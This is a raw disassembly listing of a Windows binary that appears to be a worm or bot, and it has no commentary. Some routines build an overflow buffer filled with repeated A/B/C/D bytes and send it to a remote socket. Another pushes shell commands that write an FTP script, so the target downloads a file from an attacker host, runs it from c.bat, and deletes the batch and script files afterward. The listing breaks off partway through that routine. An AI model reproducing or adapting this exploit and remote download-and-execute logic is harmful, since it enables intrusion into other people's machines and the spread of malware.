		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_401B7Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_448F44
		lea	ecx, [esp+20h+var_8]
		call	sub_4021F8
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424715
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424715:				; CODE XREF: sub_4246D0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016C2
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016C2
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247B0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4247B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_402054j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424800	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401505j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424870	proc near		; CODE XREF: sub_4017D5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_424884
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424884:				; CODE XREF: sub_424870+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_445C14
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4248E0	proc near		; CODE XREF: sub_401EC9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401505
		test	al, al
		jnz	short loc_4248FC
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4248FC:				; CODE XREF: sub_4248E0+16j
		mov	ecx, esi
		call	sub_4017D5
		pop	esi
		retn	8
sub_4248E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424920	proc near		; CODE XREF: sub_401BFEj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424CF5
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424CF5
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_4458B0
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_4458B8
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B7C
		lea	ecx, [esp+864h+var_830]
		call	sub_4017D5
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "░B░B░B░B"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B7C
		push	offset loc_445C38
		lea	ecx, [esp+868h+var_810]
		call	sub_402054
		lea	ecx, [esp+864h+var_810]
		call	sub_401B7C
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401843
		lea	ecx, [esp+864h+var_808]
		call	sub_401B7C
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EC9
		lea	ecx, [esp+864h+var_808]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402054
		push	4
		push	offset dword_4458BC
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B7C
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		lea	ecx, [esp+864h+var_820]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_848]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_810]
		call	sub_4016C2
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		lea	ecx, [esp+864h+var_828]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_840]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_830]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_820]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B7C
		push	2
		push	offset dword_445C2C
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_401505
		lea	ecx, [esp+864h+var_838]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_828]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016C2
		push	offset dword_445C28
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_444E70
		lea	ecx, [esp+868h+var_850]
		call	sub_402054
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		push	offset dword_445C1C
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_445C18
		lea	ecx, [esp+868h+var_818]
		call	sub_402054
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424CF5:				; CODE XREF: sub_424920+1Ej
					; sub_424920+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424920	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_401AC8j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		nop
		call	near ptr 71AB2DC0h
		cmp	eax, 1
		jz	short loc_424E89
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E89:				; CODE XREF: sub_424E20+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_438256
sub_424E20	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424EA0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424EA0:				; CODE XREF: ___:00424E96j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F00	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		call	near ptr 71AB2BC0h
		nop
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_511CA0
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424F33
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424F33:				; CODE XREF: sub_424F00+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424F00	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F70	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424FA3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424F70+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_44594C
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_4458C4
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_44597C
		mov	[ebx+31h], eax
		mov	ecx, dword_445980
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_510110
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_510114
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_425048
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425048:				; CODE XREF: sub_424F70+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AC8
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_425083
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425083:				; CODE XREF: sub_424F70+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AC8
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424F70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425100	proc near		; CODE XREF: sub_401820j

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= word ptr -418h
var_416		= dword	ptr -416h
var_412		= dword	ptr -412h
var_40E		= dword	ptr -40Eh
var_40A		= word ptr -40Ah
var_408		= dword	ptr -408h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 420h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+42Ch+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_445AF0
		lea	edi, [esp+42Ch+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_449521
		movsb
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449521
		call	sub_4017EE
		mov	ecx, [esp+430h+arg_0]
		push	eax
		mov	eax, dword_44965F
		push	eax
		push	ecx
		call	sub_401E10
		add	esp, 4
		lea	edx, [esp+438h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+448h+var_408]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	164h
		push	offset sub_445988
		push	ecx
		call	sub_401BFE
		mov	edx, [eax]
		xor	edi, edi
		mov	[esp+45Ch+var_420], edx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, edi
		mov	[esp+42Ch+var_41C], eax
		jnz	short loc_4251B2
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 420h
		retn
; ---------------------------------------------------------------------------


loc_4251B2:				; CODE XREF: sub_425100+A4j
		mov	ebp, dword_511C38
		mov	[esp+42Ch+var_408], edi


loc_4251BC:				; CODE XREF: sub_425100+161j
		test	edi, edi
		jnz	loc_425267
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42524A
		mov	ecx, [esp+42Ch+arg_9E]
		xor	eax, eax
		mov	[esp+42Ch+var_416], eax
		push	ecx
		mov	[esp+430h+var_412], eax
		mov	[esp+430h+var_418], 2
		mov	[esp+430h+var_40E], eax
		mov	[esp+430h+var_40A], ax
		call	ebp	; ntohs
		lea	edx, [esp+42Ch+arg_4]
		mov	word ptr [esp+42Ch+var_416], ax
		push	edx
		nop
		call	near ptr 71AB2BF4h
		mov	[esp+42Ch+var_416+2], eax
		lea	eax, [esp+42Ch+var_418]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42523F
		mov	ecx, [esp+42Ch+var_41C]
		mov	edx, [esp+42Ch+var_420]
		push	ecx
		push	edx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_42523F:				; CODE XREF: sub_425100+123j
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_425255


loc_42524A:				; CODE XREF: sub_425100+D5j
		push	3E8h
		nop
		call	near ptr 2830000h


loc_425255:				; CODE XREF: sub_425100+148j
		mov	eax, [esp+42Ch+var_408]
		inc	eax
		cmp	eax, 2
		mov	[esp+42Ch+var_408], eax
		jl	loc_4251BC


loc_425267:				; CODE XREF: sub_425100+BEj
		lea	ecx, [esp+42Ch+var_420]
		call	sub_4016C2
		test	edi, edi
		jz	short loc_425297
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425297:				; CODE XREF: sub_425100+172j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 420h
		retn
sub_425100	endp

; ---------------------------------------------------------------------------
aRrrrrrrrrr	db '░░░░░░░░░░ллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'лллллллллллллллллллллллллллллллллллллллллллллллллллллллллИ',1Bh,0
		align 4
		dd 90909000h, 2	dup(90909090h),	4 dup(0CCCCCCCCh), 0BB8068h
		dd 2EE06800h, 77E80000h, 83FFFDCEh, 18A308C4h, 0C3005101h
		dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_425370	proc near		; CODE XREF: sub_4013D4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	0C8h
		nop
		call	near ptr 2830000h
		mov	edx, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+4+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
sub_425370	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253C0	proc near		; CODE XREF: sub_4013BBj

var_434		= byte ptr -434h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4253C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 428h
		xor	eax, eax
		push	ebx
		mov	[esp+438h+var_41C], eax
		push	esi
		mov	[esp+43Ch+var_418], eax
		lea	ecx, [esp+43Ch+arg_4]
		push	edi
		mov	[esp+440h+var_414], eax
		push	ecx
		mov	[esp+444h+var_410], eax
		mov	word ptr [esp+444h+var_41C], 2
		call	near ptr 71AB2BF4h
		nop
		mov	dx, word_510118
		mov	[esp+440h+var_418], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	0
		push	1
		push	2
		mov	word ptr [esp+44Ch+var_41C+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		jz	loc_4256BE
		lea	eax, [esp+440h+var_41C]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4256BE
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		lea	ecx, [esp+440h+var_434]
		call	sub_40142E
		mov	edx, dword_44965F
		mov	eax, [esp+440h+arg_0]
		push	edx
		push	eax
		mov	[esp+448h+var_4], 0
		call	sub_401E10
		add	esp, 4
		lea	ecx, [esp+444h+var_434]
		push	eax
		push	offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449521
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+444h+var_434]
		push	offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoBye_pif ; "echo bye>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449521
		call	sub_4017EE
		push	eax
		lea	edx, [esp+444h+var_434]
		push	offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoDel_pifC_b ; "echo del .pif	>>c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
